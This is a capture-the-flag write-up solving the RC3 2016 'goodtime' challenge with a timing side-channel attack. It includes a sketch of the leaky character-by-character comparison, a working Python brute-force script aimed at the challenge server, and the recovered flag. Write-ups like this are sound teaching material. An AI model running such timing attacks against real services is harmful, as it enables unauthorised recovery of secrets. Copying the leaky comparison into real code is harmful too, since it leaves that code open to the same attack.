Description
goodtime
150
The flag is not on the youtube video, the flag on there is someone trying to confuse you. Sorry.
The flag is also longer than normal.
https://www.youtube.com/watch?v=H7HmzwI67ec
nc goodtime.ctf.rc3.club 5866
NOTE: there should be a prompt when you connect. if there isn’t it went down so scream at me in IRC until I fix.author: wumb0
Solution
The description contains a couple of notes, as there were problems with the challenge at first (I could not connect, for example). That made people wonder if the flag would be in the linked Youtube video, which gave some troll the idea to put a fake flag in the comments.
As the description said, the challenge was served on port 5866 on goodtime.ctf.rc3.club. Let’s have a look:
1 2 3 4 5 6 |
root@kali:~/Downloads/ctf/rc3/goodtime# nc goodtime.ctf.rc3.club 5866 To have goodtime enter flag: firsttry Nope root@kali:~/Downloads/ctf/rc3/goodtime# nc goodtime.ctf.rc3.club 5866 To have goodtime enter flag: secondtry Nope |
After connecting, a prompt asking for the flag was displayed. After entering an incorrect flag, it would simply return “Nope\n” and quit.
Since we know the flag is always of the form RC3-2016-<some string>, let’s try something that looks alike:
1 2 3 |
root@kali:~/Downloads/ctf/rc3/goodtime# nc goodtime.ctf.rc3.club 5866 To have goodtime enter flag: RC3-2016-isthistheflag? Nope |
What I noticed after submitting the flag starting with RC3-2016, is that it took the server much longer to respond. After trying it some times more from different machines (also remotely), this behavior seemed to be consistent.
That’s interesting. Could it be that a correct character goes through an other loop in the server-side code than a wrong character? An example of code that I thought would be running on the server is the following:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
import time import sys flag = "RC3-2016-blahblah" answer = raw_input("To have goodtime enter flag: ") try: # Check all characters of the flag for i in range(len(flag)): # If the current character is correct, do something that takes some time if answer[i] == flag[i]: time.sleep(0.1) # If the current character is not correct, stop else: print "Nope" # Abort the whole thing break if i == len(flag)-1: # The flag was correct, let user know print "Yes, that's the correct flag!" except: print "Nope" sys.exit(1) |
The idea is quite simple now: we should try all letters, both uppercase and lowercase (A-Za-z), the dash (-) and all numbers (0-9) as they are probably the characters used in the flag (the @ sign was added later, after I figured some punctuation was used as well). If the guessed character is right, it turns out the server takes 0.30 (later changed to 0.25 by the authors) seconds longer to respond (that would be time.sleep(0.25) in my sample code above). If the guessed character is wrong, however, the response time would be really small (a couple of milliseconds only).
Let’s try to make some exploit code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 |
import socket from time import time import string import sys # Fill in what we already know flag = "RC3-2016-" def netcat(hostname, port, flag, char, last_response_time): # Try the specified flag + the character that should be guessed current_try = flag + char # Connect to the remote server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((hostname, port)) while 1: # Get the welcome text ('To have goodtime enter flag: ') data = s.recv(1024) if data: break # Show the current try print "Trying:",current_try # Measure the time before the guess is sent starttime = time() # Send the current guess s.sendall(current_try) # Get the response data = s.recv(1024) # Measure the time after the response, and calculate how long the response has taken timetaken = time() - starttime # If there is a response: if data: # If the response is not "Nope\n", we found the flag if data != "Nope\n": print "Flag found!! --->>>",current_try sys.exit(0) # Show how long it has taken and the difference with the last correct character print "Time taken:",timetaken print "Difference with last correct character:",timetaken-last_response_time # If the time this request took was significantly longer than the last guess: if timetaken - last_response_time > 0.22: # ...we know the character was correct print "That character was correct!" print "Current flag -->",current_try # Return the new flag and the time the response took return (current_try,timetaken) else: # If not, just return the old flag again return (flag,last_response_time) # Close the socket connection again s.shutdown(socket.SHUT_WR) s.close() # Define the possible characters (for now only -, @ and [0-9A-Za-z]) possible_chars = "-@" + string.ascii_letters + string.digits # Define the last response time (if you start not at zero, measure it first) last_response_time = 2.25 # While the flag is not found: while True: # Loop through all possible characters we specified above for char in possible_chars: # Try the current flag + a character from our list of possible characters answer = netcat('goodtime.ctf.rc3.club',5866,flag,char,last_response_time) # Get the flag from the response new_flag = answer[0] # Get the response time that went with it from the response last_response_time = answer[1] # If the returned flag is different from the last known flag, the character was right if new_flag != flag: # Update the flag flag = new_flag # Break this loop (we found the correct next character), and start guessing the next character break |
That should work! Eventually, the end of the output looked like this:
1 2 3 4 5 6 7 8 9 10 11 |
Trying: RC3-2016-itz-alw4yz-a-g00d-t1m1ng-@tt@ch Time taken: 9.85538601875 Difference with last correct character: 0.00333595275879 Trying: RC3-2016-itz-alw4yz-a-g00d-t1m1ng-@tt@ci Time taken: 9.85895800591 Difference with last correct character: 0.00690793991089 Trying: RC3-2016-itz-alw4yz-a-g00d-t1m1ng-@tt@cj Time taken: 9.85255599022 Difference with last correct character: 0.000505924224854 Trying: RC3-2016-itz-alw4yz-a-g00d-t1m1ng-@tt@ck Flag found!! --->>> RC3-2016-itz-alw4yz-a-g00d-t1m1ng-@tt@ck |
Let’s try that one:
1 2 3 |
root@kali:~/Downloads/ctf/rc3/goodtime# nc goodtime.ctf.rc3.club 5866 To have goodtime enter flag: RC3-2016-itz-alw4yz-a-g00d-t1m1ng-@tt@ck Yup |
So, our flag is RC3-2016-itz-alw4yz-a-g00d-t1m1ng-@tt@ck.
It took me a while to figure out that those sneaky bastards used the @ symbol. Also, it took roughly 0.25 seconds for each correct character, and since they made the flag 40 characters long, the final request took around 10 seconds (after each correct character, 0.25 seconds were added to the response time). When I first ran the script, that time was not 0.25 seconds but 0.30, which meant my script stopped working all of a sudden (I had the threshold for detecting a good character set at 0.28 in the beginning). Making changes like that to a CTF challenge that takes so long to complete is not too nice.